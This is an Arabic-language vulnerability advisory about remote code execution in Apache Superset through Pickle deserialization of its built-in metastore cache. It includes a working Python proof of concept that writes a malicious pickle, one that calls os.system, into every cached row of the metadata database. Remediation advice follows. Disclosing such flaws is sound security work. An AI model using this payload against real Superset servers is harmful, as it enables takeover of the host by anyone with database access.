
استغلال ذاكرة التخزين المؤقت الافتراضية لـ Superset باستخدام pickle
[ المؤلف ] Dinis Cruz
[ المشروع ] Superset
يقدم Apache Superset خيارات مختلفة للتخزين المؤقت، جميعها تعتمد على Flask-Caching. يوفر ذاكرة تخزين مؤقت مدمجة تقوم بتسلسل القيم لاسترجاعها لاحقاً. يتم هذا التسلسل والاسترجاع باستخدام Pickle، مما يسمح بإلغاء تسلسل كائنات Python وبالتالي تنفيذ الأكواد.
تقوم ذاكرة التخزين المؤقت المدمجة بكتابة المعلومات داخل قاعدة البيانات الوصفية، مما يعني أن المهاجم الذي لديه حق الوصول إلى قاعدة البيانات هذه يمكنه تصعيد صلاحياته والحصول على وصول عن بُعد إلى الجهاز/الحاوية التي تخدم Superset.
فئة MetaStoreCache، والتي تستخدم فئة PickleKeyValueCodec لتسلسل المعلومات.
تم إعادة إنتاج هذه المشكلة عن طريق إنشاء تثبيت نظيف لـ Superset يستخدم ذاكرة التخزين المؤقت المدمجة كإعداد افتراضي. مع المعرفة المسبقة بأن الوصول إلى قاعدة البيانات مطلوب لاستغلال هذه المشكلة. يمكننا تحديث قيم جميع القيم المخزنة مؤقتاً باستخدام استغلال Pickle. لاحقًا، بمجرد إعادة القيمة إلى المستخدم، سيقوم وحدة Pickle بتسلسل البيانات وتنفيذ الكود الخاص بنا. يمكن العثور على إثبات المفهوم بلغة Python أدناه.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
يقوم هذا البرنامج النصي بتحديث جميع القيم المخزنة مؤقتاً داخل قاعدة البيانات، وبمجرد إعادة البيانات إلى المستخدم، يتم إنشاء ملف evil.sh داخل الدليل /tmp لأغراض العرض التوضيحي.
يمكن أن يتأثر جميع المستخدمين.
النتيجة: 9.1
بينما يقع الإصلاح على عاتق فريق Superset، فإن المشكلة الكبرى تكمن في استخدام Pickle لتسلسل البيانات. على حد فهمي من الالتزام #23888، تم التحول إلى إزالة تسلسل Pickle من المكونات الأخرى ولكن تم الاحتفاظ بهذا المكون بسبب الحاجة إلى 'معالجة الأنواع الثنائية التعسفية'. الحل الأنظف سيكون التحول إلى آلية تسلسل أخرى، ومع ذلك يمكن للمرء تنفيذ مُلغِي تسلسل مقيد وهو ليس حلاً مضموناً ولكنه قد يتطلب عملاً أقل عند التنفيذ.
الوصول إلى قاعدة البيانات الوصفية المستخدمة من قبل تثبيت Superset.
لا حاجة لإعداد خاص، فقط لمفسر Python لتوليد الحمولة، يمكن إدخال الحمولة الخبيثة في قاعدة البيانات بطرق متنوعة.